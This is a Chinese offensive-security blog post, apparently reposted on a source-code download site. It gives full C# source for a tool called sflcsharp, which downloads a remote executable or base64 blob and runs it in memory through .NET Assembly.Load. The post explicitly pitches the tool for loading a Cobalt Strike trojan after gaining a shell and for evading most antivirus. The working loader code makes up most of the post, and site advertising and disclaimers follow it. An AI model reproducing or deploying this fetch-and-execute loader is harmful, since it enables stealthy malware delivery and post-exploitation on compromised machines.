利用一个完全安全的C#文件下载远程木马到内存进行执行

CATALOG
前言免杀效果执行效果代码详解原理解释

前言

拿到一台主机的shell后,我们一般会想办法“升级”shell,最常见的是上传一个CS的木马,这样对我们的后渗透工作会十分方便。

代码实现:sflcsharp

免杀效果

利用一个完全安全的C#文件下载远程木马到内存进行执行
绝大多数都是不查杀的

执行效果

我们提前在ip为10.92.52.27的主机上传了两个文件,一个为helloworld.exe,一个是此文件的base64密文形式。此exe文件执行效果为在命令输出fffffff,如下图所示:

利用一个完全安全的C#文件下载远程木马到内存进行执行
这时候使用sflcsharp的-b参数来加载远程的c#语言的exe文件:
利用一个完全安全的C#文件下载远程木马到内存进行执行
使用-b64参数来加载远程的b64密文:
利用一个完全安全的C#文件下载远程木马到内存进行执行

代码详解

using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System;
using System.IO;
using System.Net;
using System.Linq;
using System.Reflection;

namespace demo1
{
class Program
{
static void Main(string[] args)
{
string fileDownloadurl = null;
string filedownloadtype = null;
byte[] filebuffer = null;
try
{
fileDownloadurl = args[1];
filedownloadtype = args[0];
}
catch
{
Console.WriteLine("\n加载远程exe文件到内存执行:sflcsharp.exe -b exe文件的url");
Console.WriteLine("\n加载远程base64密文文件到内存执行:为sflcsharp.exe -b64 b64文件的url");
Environment.Exit(0);
}
if (filedownloadtype == "-b")
{
filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);
}
if (filedownloadtype == "-b64")
{
filebuffer = downloadbase64(fileDownloadurl);
}
if (filebuffer != null)
{
Console.WriteLine("正在将下载下来的程序加载到当前用户的内存中");
Assembly assemblyinstance = Assembly.Load(filebuffer); //将下载下来的程序加载到当前用户的内存中
Console.WriteLine("正在寻找程序入口点并执行程序");
assemblyinstance.EntryPoint.Invoke(null,new object[] { null}); //找到程序的入口点并执行程序
Console.WriteLine("\n程序执行完毕");
}
}
public static byte[] Downloadbinarypefilebyhttp(string url)
{
Console.WriteLine("\n创建WebClient类用来下载PE文件");
WebClient downloadwebclient = new WebClient(); //这个类可以从指定url上下载或者上传数据
Console.WriteLine("\n下载文件后自动保存为byte[]格式\n");
byte[] test = downloadwebclient.DownloadData(url);
return test;
}
public static byte[] downloadbase64(string url)
{
Console.WriteLine("\n创建WebClient类用来下载base64密文文件,下载到的数据按照字符串格式保存在内存");
WebClient downloadwebclient = new WebClient(); //这个类可以从指定url上下载或者上传数据
string b64 = downloadwebclient.DownloadString(url);
Console.WriteLine("将base64字符串转换为byte[]类型的数据");
byte[] test = Convert.FromBase64String(b64);
return test;
}
}
}

原理解释

windows的.NET框架其中有一个类为assembly类。这个类可以家在byte[]类型的数据到内存中并当作一个assembly文件去执行。assembly文件就是c#写的dll文件与exe文件。然而还有函数可以将远程的exe文件下载到本地并用byte[]格式去保存。这两个方式结合后就可以实现下载远程c#文件到内存中直接执行,可以绕过绝大多数杀软。

原创:https://www.panoramacn.com
源码网提供WordPress源码,帝国CMS源码discuz源码,微信小程序,小说源码,杰奇源码,thinkphp源码,ecshop模板源码,微擎模板源码,dede源码,织梦源码等。

专业搭建小说网站,小说程序,杰奇系列,微信小说系列,app系列小说

利用一个完全安全的C#文件下载远程木马到内存进行执行

免责声明,若由于商用引起版权纠纷,一切责任均由使用者承担。

您必须遵守我们的协议,如果您下载了该资源行为将被视为对《免责声明》全部内容的认可-> 联系客服 投诉资源
www.panoramacn.com资源全部来自互联网收集,仅供用于学习和交流,请勿用于商业用途。如有侵权、不妥之处,请联系站长并出示版权证明以便删除。 敬请谅解! 侵权删帖/违法举报/投稿等事物联系邮箱:2640602276@qq.com
未经允许不得转载:书荒源码源码网每日更新网站源码模板! » 利用一个完全安全的C#文件下载远程木马到内存进行执行
关注我们小说电影免费看
关注我们,获取更多的全网素材资源,有趣有料!
120000+人已关注
分享到:
赞(0) 打赏

评论抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

您的打赏就是我分享的动力!

支付宝扫一扫打赏

微信扫一扫打赏